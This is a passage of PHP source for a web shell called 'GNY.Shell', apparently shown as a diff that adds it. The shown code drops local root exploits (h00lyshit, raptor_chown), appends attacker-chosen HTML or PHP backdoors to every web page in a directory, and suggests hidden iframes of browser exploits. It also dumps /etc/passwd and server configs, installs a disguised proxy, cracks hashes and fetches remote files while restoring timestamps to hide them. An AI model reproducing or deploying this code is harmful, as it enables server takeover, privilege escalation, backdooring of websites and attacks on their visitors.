'ls'; +} + +if ($act == 'd') +{ + if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";} + else + { + echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d)); + $gr = posix_getgrgid(filegroup($d)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>"; + } +} +if ($act == 'phpinfoframe') {@ob_clean(); phpinfo(); GNYexit();} + +if ($act == 'phpinfo') { + +echo '<iframe +src ="?act=phpinfoframe" +height="100%" +width="100%"> +</iframe>'; +} + +if ($act == 'exploit') { +echo '<iframe +src ="'.$millink.'" +height="300" +width="100%"> +</iframe><br /><br /> +<iframe src ="'.$stormlink.'" +height="300" +width="100%"> +</iframe>'; +} + +if ($act == 'exploits') { +?> +<b>Exploits:</b> +<br><br> +All exploits are pre-compiled. Just follow the directions. +<br><br> +<b>h00lyshit - Local Race Exploit</b><br> +<form action=<?php echo $surl; ?> method=GET> +<input type=hidden name="act" value="exploits"> +<input type=hidden name="sploit" value="h00lyshit"> +Path to extract to: <input type=text name="path" value="<?php echo $d; ?>"> (must have final /)<br> +<input type=submit value="Create"></form> +<?php + if ($_GET['sploit'] == 'h00lyshit') { + if (is_writable($_GET['path'])) { + cf($_GET['path'].'h00lyshit', $h00lyshit); + echo '<font color=green>h00lyshit was created in '.htmlentities($_GET['path']).'</font>'; + chmod($_GET['path'].'/h00lyshit', 0777); + }else{ + echo '<font color=red>Directory is not writable!<br></font>'; + } + } // end if h00lyshit was called +?> +<br><br> +<b>raptor_chown - Group Modification Exploit</b><br> +<form action=<?php echo $surl; ?> method=GET> +<input type=hidden name="act" value="exploits"> +<input type=hidden name="sploit" value="raptorchown"> +Path to extract to: <input type=text name="path" value="<?php echo $d; ?>"> (must have final /)<br> +<input type=submit value="Create"></form> +<?php + if ($_GET['sploit'] == 'raptorchown') { + if (is_writable($_GET['path'])) { + cf($_GET['path'].'raptor_chown', $raptorchown); + echo '<font color=green>raptor_chown was created in '.htmlentities($_GET['path']).'</font>'; + chmod($_GET['path'].'/raptor_chown', 0777); + }else{ + echo '<font color=red>Directory is not writable!</font><br>'; + } + } // end if raptor_chown was called +} // end if exploits is called + +if ($act == 'massbrowsersploit') { +?> +<b>Mass Code Injection:</b><br><br> +Use this to add HTML to the end of every .php, .htm, and .html page in the directory specified.<br><br> +<form action="<?php echo $surl; ?>" method=GET> +<input type=hidden name="masssploit" value="goahead"> +<input type=hidden name="act" value="massbrowsersploit"> +<table border=0> +<tr><td>Dir to inject: </td><td><input type=text size=50 name="pathtomass" value="<?php echo realpath('.'); ?>"> <-- default is dir this shell is in</td></tr> +<tr><td>Code to inject: </td><td><textarea name="injectthis" cols=50 rows=4><?php echo htmlspecialchars('<IFRAME src="http://www.google.com" width=0 height=0 frameborder=0></IFRAME>'); ?></textarea> <-- best bet would be to include an invisible iframe of browser exploits</td></tr> +<tr><td><input type=submit value="Inject Code"></td></tr> +</table> +</form> +<?php +if ($_GET['masssploit'] == 'goahead') { + if (is_dir($_GET['pathtomass'])) { + $lolinject = $_GET['injectthis']; + foreach (glob($_GET['pathtomass']."/*.php") as $injectj00) { + $fp=fopen($injectj00,"a+"); + if (fputs($fp,$lolinject)){ + echo '<font color=green>'.$injectj00.' was injected<br></font>'; + } else { + echo '<font color=red>failed to inject '.$injectj00.'</font>'; + } + } + foreach (glob($_GET['pathtomass']."/*.htm") as $injectj00) { + $fp=fopen($injectj00,"a+"); + if (fputs($fp,$lolinject)){ + echo $injectj00.' was injected<br>'; + } else { + echo '<font color=red>failed to inject '.$injectj00.'</font>'; + } + } + foreach (glob($_GET['pathtomass']."/*.html") as $injectj00) { + $fp=fopen($injectj00,"a+"); + if (fputs($fp,$lolinject)){ + echo $injectj00.' was injected<br>'; + } else { + echo '<font color=red>failed to inject '.$injectj00.'</font>'; + } + } + } else { //end if inputted dir is real -- if not, show an ugly red error + echo '<b><font color=red>'.$_GET['pathtomass'].' is not available!</font></b>'; + } // end if inputted dir is real, for real this time +} // end if confirmation to mass sploit is go + +//new php backdoor +?> +<b>Mass Code Injection:</b><br><br> +Use this to add PHP to the end of every .php page in the directory specified.<br><br> +<form action="<?php echo $surl; ?>" method=GET> +<input type=hidden name="masssploit" value="php"> +<input type=hidden name="act" value="massbrowsersploit"> +<table border=0> +<tr><td>Dir to inject: </td><td><input type=text size=50 name="pathtomass" value="<?php echo realpath('.'); ?>"> <-- default is dir this shell is in</td></tr> +<tr><td>Code to inject: </td><td><textarea name="injectthis" cols=50 rows=4><?php echo htmlspecialchars('<?php if ($_GET["x"] == "lul") { /*code*/; } ?>'); ?></textarea></td></tr> +<tr><td><input type=submit value="Inject Code"></td></tr> +</table> +</form> +<?php +if ($_GET['masssploit'] == 'php') { + if (is_dir($_GET['pathtomass'])) { + $lolinject = $_GET['injectthis']; + foreach (glob($_GET['pathtomass']."/*.php") as $injectj00) { + $fp=fopen($injectj00,"a+"); + if (fputs($fp,$lolinject)){ + echo '<font color=green>'.$injectj00.' was injected<br></font>'; + } else { + echo '<font color=red>failed to inject '.$injectj00.'</font>'; + } + } + } else { //end if inputted dir is real -- if not, show an ugly red error + echo '<b><font color=red>'.$_GET['pathtomass'].' is not available!</font></b>'; + } // end if inputted dir is real, for real this time +} // end if confirmation to mass sploit is php only + + +} // end if massbrowsersploit is called + +if ($act == 'security') +{ + echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>"; + if (!$win) + { + if ($nixpasswd) + { + if ($nixpasswd == 1) {$nixpasswd = 0;} + echo "<b>*nix /etc/passwd:</b><br>"; + if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} + if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>"; + $i = $nixpwd_s; + while ($i < $nixpwd_e) + { + $uid = posix_getpwuid($i); + if ($uid) + { + $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; + echo join(":",$uid)."<br>"; + } + $i++; + } + } + else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";} + if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";} + if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";} + if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";} + if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";} + function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}} + displaysecinfo("OS Version?",myshellexec("cat /proc/version")); + displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); + displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net")); + displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise")); + displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo")); + displaysecinfo("RAM",myshellexec("free -m")); + displaysecinfo("HDD space",myshellexec("df -h")); + displaysecinfo("List of Attributes",myshellexec("lsattr -a")); + displaysecinfo("Mount options ",myshellexec("cat /etc/fstab")); + displaysecinfo("Is cURL installed?",myshellexec("which curl")); + displaysecinfo("Is lynx installed?",myshellexec("which lynx")); + displaysecinfo("Is links installed?",myshellexec("which links")); + displaysecinfo("Is fetch installed?",myshellexec("which fetch")); + displaysecinfo("Is GET installed?",myshellexec("which GET")); + displaysecinfo("Is perl installed?",myshellexec("which perl")); + displaysecinfo("Where is apache",myshellexec("whereis apache")); + displaysecinfo("Where is perl?",myshellexec("whereis perl")); + displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); + displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); + displaysecinfo("locate my.conf",myshellexec("locate my.conf")); + displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf")); + } + else + { +exec('systeminfo', $wininfo); +?> +<br>DOS command: <b>systeminfo</b><br> +<textarea cols=125 rows=<?php echo count($wininfo); ?>><?php +if ($wininfo) { + foreach($wininfo as $row) + echo $row."\n"; +} else { // if systeminfo failed + echo 'Couldn\'t execute command!'; +} +?> +</textarea> +<?php + } + +} +if ($act == 'mkfile') +{ + if ($mkfile != $d) + { + if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";} + elseif (!fopen($mkfile,'w')) {echo '<b>Make File "'.htmlspecialchars($mkfile).'"</b>: access denied';} + else {$act = 'f'; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} + } + else {$act = $dspact = 'ls';} +} +if ($act == 'encoder') +{ + echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>"; + foreach(array("md5","crypt","sha1","crc32") as $v) + { + echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>"; + } + echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly> + <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly> + <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>"; + echo "<center>base64_decode - "; + if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";} + else + { + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";} + else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";} + echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>"; + } + echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; + $c = strlen($encoder_input); + for($i=0;$i<$c;$i++) + { + $hex = dechex(ord($encoder_input[$i])); + if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} + elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} + } + echo "\" readonly><br></form>"; + +?> +</center> +<br><br> +<table border=0 align=center cellpadding=4> +<tr><td> +<center><b>Search MD5Crack for MD5 hash</b></center> +</td><td> +<center><b>Search md5encryption.com for MD5 or SHA1 hash</b></center> +</td><td> +<center><b>Search CsTeam for MD5 hash</b></center> +</td><td> +<center><b>Search GData for MD5 hash</b></center> +</td></tr> +<tr><td> +<center> +<form target="_blank" action="http://md5crack.com/crackmd5.php" method=POST> +<input type=text size=40 name=hash> <input type=submit value="Submit"></form> +</center> +</td><td> +<center> +<form target="_blank" action="http://www.md5encryption.com/?mod=decrypt" method=POST> +<input type=text size=40 name=hash2word> <input type=submit value="Submit"></form> +</center> +</td><td> +<center> +<form target="_blank" action="http://www.csthis.com/md5/index.php" method=POST> +<input type=text size=40 name=h> <input type=submit value="Submit"></form> +</center> +</td><td> +<center> +<form method="post" action="http://www.gdataonline.com/seekhash.php"> +<input type="hidden" name="code" value="1716f4a1bdecd7090187cf12c42aca3f"> +<input type="text" size="40" name="hash" /> +<input type="submit" value="Submit" /> +</form> +</center> +</td></tr> +</table> +<br> +<center> +<b>Wordlist Hash Cracker</b><br><br> +<form action="<?php echo $surl; ?>" method=GET> +<input type=hidden name="act" value="encoder"> +<input type=hidden name="d" value="<?php echo $d; ?>"> +Enter hash: <input type=text width=300 name="hash" size=40> +<br> +Wordlist: <input type=text name="wordlist" size=40> +<br> +Type: <select name="type"> +<option value="md5">MD5</option> +<option value="sha1">SHA1</option> +</select> <input type=submit value="Crack Hash"> +</form> +</center> +<?php +// my wordlist cracker ^_^ +if (isset($_GET['hash']) && isset($_GET['wordlist']) && ($_GET['type'] == 'md5' || $_GET['type'] == 'sha1')) { + $type = $_GET['type']; + $hash = $_GET['hash']; + $count = 1; + $wordlist = file($_GET['wordlist']); + $words = count($wordlist); + foreach ($wordlist as $word) { + echo $count.' of '.$words.': '.$word.'<br>'; + if ($hash == $type(rtrim($word))) { + echo '<font color=red>Great success! The password is: '.$word.'</font><br>'; + break; + } + ++$count; + } +} + +} +if ($act == 'fsbuff') +{ + $arr_copy = $sess_data["copy"]; + $arr_cut = $sess_data["cut"]; + $arr = array_merge($arr_copy,$arr_cut); + if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";} + else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";} +} + +if ($act == 'proxy') { + if ($_GET['ipisk'] == 'yup') { + cf("/tmp/hantu.tgz",$proxy_shit); + ex("cd /tmp;tar -zxvf hantu.tgz"); + ex("cd /tmp;cd .setan;chmod 777 xh"); + ex("cd /tmp;cd .setan;chmod 777 httpd"); + ex("cd /tmp;cd .setan;./xh -s [kmod] ./httpd start"); + checkproxyhost(); + $msg = $_POST['proxyhostmsg']; + echo("$msg"); + unlink("/tmp/hantu.tgz"); + ex("cd /tmp; rm -r .setan"); + }else + echo '<center>Are you sure you want to install an IP:Port proxy on this website/server?<br />Please note, some servers with firewalls or other security features may not be compatible with this, even if the proxy appears to be installed.<br /><br /><b><font color=green><a href="'.$surl.'&act=proxy&ipisk=yup">Yes</a></font></b> || <b><font color=red><a href="'.$surl.'">No</a></font></b></center>'; +} + +if ($act == 'fi'){ +?> +<b>Install Local RFI/LFI Scanner</b><br> +<form action=<?php echo $surl; ?> method=GET> +<input type=hidden name="act" value="fi"> +<input type=hidden name="install" value="yup"> +Path to install in: <input type=text name="path" value="<?php echo $d; ?>"> (must have final /)<br> +<input type=submit value="Install"></form> +<?php + if ($_GET['install'] == 'yup') { + if (is_writable($_GET['path'])) { + cf($_GET['path'].'fi.pl', $fi); + echo '<font color=green><b>fi.pl was created in '.htmlentities($_GET['path']).'</b></font>'; + chmod($_GET['path'].'/fi.pl', 0777); + echo '<br />To execute, browse to the directory you installed the scanner in and execute it from there using \'perl fi.pl\''; + }else{ + echo '<font color=red><b>Directory is not writable!</b><br></font>'; + } + } +} + +if ($act == 'phpproxy'){ +?> +<b>Install PHP Based Proxy</b><br> +<form action=<?php echo $surl; ?> method=GET> +<input type=hidden name="act" value="phpproxy"> +<input type=hidden name="install" value="yup"> +Path to install in: <input type=text name="path" value="<?php echo $d; ?>"> (must have final /)<br> +<input type=submit value="Install"></form> +<?php + if ($_GET['install'] == 'yup') { + if (is_writable($_GET['path'])) { + cf($_GET['path'].'proxy.php', $phpproxy); + echo '<font color=green><b>proxy.php was created in '.htmlentities($_GET['path']).'</b></font>'; + chmod($_GET['path'].'/proxy.php', 0777); + }else{ + echo '<font color=red><b>Directory is not writable!</b><br></font>'; + } + } +} + +if ($act == 'selfremove') { + if ($_GET['bai'] == 'k'){ + if (unlink(__FILE__)){ + @ob_clean(); echo 'GNY.Shell has been deleted and is now gone.'; GNYexit(); + }else{ + echo "<center><b>Cannot delete ".__FILE__."!</b></center>";} + }else{ + echo '<center>Are you sure you want to permanently remove '.__FILE__.'?<br><a href="'.$surl.'act=selfremove&bai=k">Yes</a> || <a href="'.$surl.'">No</a></center>'; + } +} + +if ($act == 'update') {$ret = sh_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}} + +if ($act == 'search') +{ + echo "<b>Search in file-system:</b><br>"; + if (empty($search_in)) {$search_in = $d;} + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + if (!empty($submit)) + { + $found = array(); + $found_d = 0; + $found_f = 0; + $search_i_f = 0; + $search_i_d = 0; + $a = array + ( + "name"=>$search_name, "name_regexp"=>$search_name_regexp, + "text"=>$search_text, "text_regexp"=>$search_text_regxp, + "text_wwo"=>$search_text_wwo, + "text_cs"=>$search_text_cs, + "text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) {fsearch($v);} + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "<b>No files found!</b>";} + else + { + $ls_arr = $found; + $disp_fullpath = TRUE; + $act = "ls"; + } + } + echo "<form method=POST> +<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\"> +<b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp +<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"> +<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea> +<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text +<br><br><input type=submit name=submit value=\"Search\"></form>"; + if ($act == 'ls') {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";} +} +if ($act == 'chmod') +{ + $mode = fileperms($d.$f); + if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} + else + { + $form = TRUE; + if ($chmod_submit) + { + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} + else {$err = "Can't chmod to ".$octet.".";} + } + if ($form) + { + $perms = parse_perms($mode); + echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"")."> Execute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"")."> Execute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"")."> Execute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; + } + } +} +if ($act == "upload") +{ + $uploadmess = ""; + $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); + if (empty($uploadpath)) {$uploadpath = $d;} + elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";} + if (!empty($submit)) + { + global $HTTP_POST_FILES; + $uploadfile = $HTTP_POST_FILES["uploadfile"]; + if (!empty($uploadfile["tmp_name"])) + { + if (empty($uploadfilename)) {$destin = $uploadfile["name"];} + else {$destin = $userfilename;} + if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";} + } + elseif (!empty($uploadurl)) + { + if (!empty($uploadfilename)) {$destin = $uploadfilename;} + else + { + $destin = explode("/",$destin); + $destin = $destin[count($destin)-1]; + if (empty($destin)) + { + $i = 0; + $b = ""; + while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} + } + if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";} + else + { + $st = getmicrotime(); + $content = @file_get_contents($uploadurl); + $dt = round(getmicrotime()-$st,4); + if (!$content) {$uploadmess .= "Can't download file!<br>";} + else + { + if ($filestealth) {$stat = stat($uploadpath.$destin);} + $fp = fopen($uploadpath.$destin,"w"); + if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";} + else + { + fwrite($fp,$content,strlen($content)); + fclose($fp); + if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} + } + } + } + } + } + if ($miniform) + { + echo "<b>".$uploadmess."</b>"; + $act = "ls"; + } + else + { + echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST> +Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br> +Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br> +Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br> +File-name (auto-fill): <input name=uploadfilename size=25><br><br> +<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br> +<input type=submit name=submit value=\"Upload\"> +</form>"; + } +} +if ($act == 'md5file') { +?> +<center><b>MD5 Checksum:</b></center><br> +<table border=0 align=center> +<?php + foreach ($actbox as $v) + echo '<tr><td>'.md5_file($v).'</td><td>'.$v.'</td></tr>'; +echo "</table></td></tr></table><br><TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">"; + $act = 'ls'; +} +if ($act == 'sha1file') { +?> +<center><b>SHA1 Checksum:</b></center><br> +<table border=0 align=center> +<?php + foreach ($actbox as $v) + echo '<tr><td>'.sha1_file($v).'</td><td>'.$v.'</td></tr>'; +echo "</table></td></tr></table><br><TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">"; + $act = 'ls'; +} +if ($act == 'delete') +{ + $delerr = ''; + foreach ($actbox as $v) + { + $result = FALSE; + $result = fs_rmobj($v); + if (!$result) + $delerr .= 'Can\'t delete '.htmlspecialchars($v).'<br>'; + } + if (!empty($delerr)) + echo '<b>Deleting with errors:</b><br>'.$delerr; + $act = 'ls'; +} +if (!$usefsbuff) +{ + if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";} +} +else +{ + if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); sess_put($sess_data); $act = "ls"; } + elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); sess_put($sess_data); $act = "ls";} + elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} sess_put($sess_data); $act = "ls";} + if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); sess_put($sess_data);} + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } + elseif ($actarcbuff) + { + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} + $cmdline .= " ".$actarcbuff_path; + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) + { + $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); + if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} + if (is_dir($v)) + { + if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} + $v .= "*"; + } + $cmdline .= " ".$v; + } + $tmp = realpath("."); + chdir($d); + $ret = myshellexec($cmdline); + chdir($tmp); + if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";} + $ret = str_replace("\r\n","\n",$ret); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) + { + if (in_array($v,$ret)) {fs_rmobj($v);} + 